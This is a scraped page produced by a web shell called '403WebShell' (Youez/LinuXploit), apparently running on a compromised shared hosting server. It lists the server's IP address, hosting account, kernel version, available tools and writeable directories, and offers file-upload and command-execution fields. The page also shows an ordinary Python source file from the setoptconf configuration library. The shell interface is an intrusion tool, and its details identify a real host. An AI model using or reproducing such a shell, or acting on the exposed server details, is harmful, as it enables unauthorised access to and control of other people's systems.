Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.117.168.40
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib64/python3.11/site-packages/setoptconf/source/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cloudlinux/venv/lib64/python3.11/site-packages/setoptconf/source/environment.py
import os

from ..config import Configuration
from ..setting import ListSetting
from ..util import csv_to_list
from .base import Source


__all__ = ("EnvironmentVariableSource",)


class EnvironmentVariableSource(Source):
    def __init__(self, prefix=None):
        super(EnvironmentVariableSource, self).__init__()
        self.prefix = prefix

    def get_config(self, settings, manager=None, parent=None):
        if manager and not self.prefix:
            self.prefix = manager.name

        for setting in settings:
            self.get_setting(setting)

        return Configuration(settings=settings, parent=parent)

    def get_setting(self, setting):
        name = setting.name
        if self.prefix:
            name = "%s_%s" % (self.prefix, name)
        name = name.upper()

        if name in os.environ:
            if isinstance(setting, ListSetting):
                setting.value = csv_to_list(os.environ[name])
            else:
                setting.value = os.environ[name]

Youez - 2016 - github.com/yon3zu
LinuXploit